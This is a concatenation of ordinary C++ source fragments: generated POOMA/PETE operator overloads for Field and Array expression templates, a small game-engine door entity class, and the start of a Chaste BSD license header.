G1,class T1,class E1,int D2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpRightShift, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> >::Expression_t operator>>(const Field<G1,T1,E1> & l,const Array<D2,T2,E2> & r) { typedef BinaryNode<OpRightShift, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Array<D2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Array<D2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class T2> inline typename MakeReturn<BinaryNode<OpRightShift, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> >::Expression_t operator>>(const Field<G1,T1,E1> & l,const T2 & r) { typedef BinaryNode<OpRightShift, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<T2 >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpAdd, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator+(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpAdd, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpAdd, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator+(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpAdd, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpSubtract, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator-(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpSubtract, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpSubtract, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator-(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpSubtract, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpMultiply, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator*(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpMultiply, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpMultiply, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator*(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpMultiply, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpDivide, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator/(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpDivide, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpDivide, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator/(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpDivide, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpMod, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator%(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpMod, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpMod, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator%(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpMod, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpBitwiseAnd, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator&(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpBitwiseAnd, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpBitwiseAnd, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator&(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpBitwiseAnd, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpBitwiseOr, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator|(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpBitwiseOr, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpBitwiseOr, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator|(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpBitwiseOr, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpBitwiseXor, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator^(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpBitwiseXor, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpBitwiseXor, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator^(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpBitwiseXor, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnLdexp, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t ldexp(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<FnLdexp, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnLdexp, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t ldexp(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<FnLdexp, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnPow, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t pow(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<FnPow, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnPow, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t pow(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<FnPow, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnFmod, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t fmod(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<FnFmod, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnFmod, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t fmod(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<FnFmod, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnArcTan2, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t atan2(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<FnArcTan2, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnArcTan2, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t atan2(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<FnArcTan2, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpLT, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator<(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpLT, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpLT, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator<(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpLT, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpLE, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator<=(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpLE, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpLE, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator<=(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpLE, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpGT, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator>(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpGT, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpGT, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator>(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpGT, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpGE, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator>=(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpGE, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpGE, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator>=(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpGE, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpEQ, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator==(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpEQ, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpEQ, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator==(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpEQ, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpNE, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator!=(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpNE, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpNE, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator!=(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpNE, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpAnd, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator&&(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpAnd, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpAnd, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator&&(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpAnd, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpOr, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator||(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpOr, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpOr, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator||(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpOr, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } #ifdef PETE_ALLOW_SCALAR_SHIFT template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpLeftShift, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator<<(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpLeftShift, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpLeftShift, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator<<(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpLeftShift, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<int D1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpRightShift, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator>>(const Array<D1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpRightShift, typename CreateLeaf<Array<D1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Array<D1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpRightShift, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator>>(const T1 & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpRightShift, typename CreateLeaf<T1 >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<T1 >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } #endif // PETE_ALLOW_SCALAR_SHIFT template<class G1,class T1,class E1,class T2,class T3> inline typename MakeReturn<TrinaryNode<FnWhere, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t, typename CreateLeaf<T3 >::Leaf_t> >::Expression_t where(const Field<G1,T1,E1> & c,const T2 & t,const T3 & f) { typedef TrinaryNode<FnWhere, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<T2 >::Leaf_t, typename CreateLeaf<T3 >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(c), CreateLeaf<T2 >::make(t), CreateLeaf<T3 >::make(f))); } #undef MakeReturn #endif // POOMA_FIELD_FIELDOPERATORS_H
#include "CDoorBase.h" #include "DescriptorList.h" #include "CBaseEngine.h" void CDoorBase::init(){ CWorldEntity::init(); m_direction = 0.; m_fraction = 0.; m_open = false; } void CDoorBase::think(){ if(m_direction != 0.){ m_fraction+=m_direction*engine->getTimeDelta()*m_moveSpeed; if(m_fraction>=1.){ m_direction = 0.; m_fraction = 1.; m_open = true; fireOutput("onOpen"); } if(m_fraction<=0.){ m_direction = 0.; m_fraction = 0.; m_open = false; fireOutput("onClose"); } } //engine->debug(sformat("CDoorBase: %f, %d", m_fraction, m_direction) ); } void CDoorBase::open(CBaseEntity* originator){ m_direction=1; } void CDoorBase::close(CBaseEntity* originator){ m_direction=-1; } void CDoorBase::toggle(CBaseEntity* originator){ //engine->log("TOGGLE!!"); if(m_direction == 0){ m_direction = m_open?-1:1; }else{ m_direction*=-1; } } REGISTER_ENTITY(CDoorBase)
/* Copyright (c) 2005-2023, University of Oxford. All rights reserved. University of Oxford means the Chancellor, Masters and Scholars of the University of Oxford, having an administrative office at Wellington Square, Oxford OX1 2JD, UK. This file is part of Chaste. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the University of Oxford nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 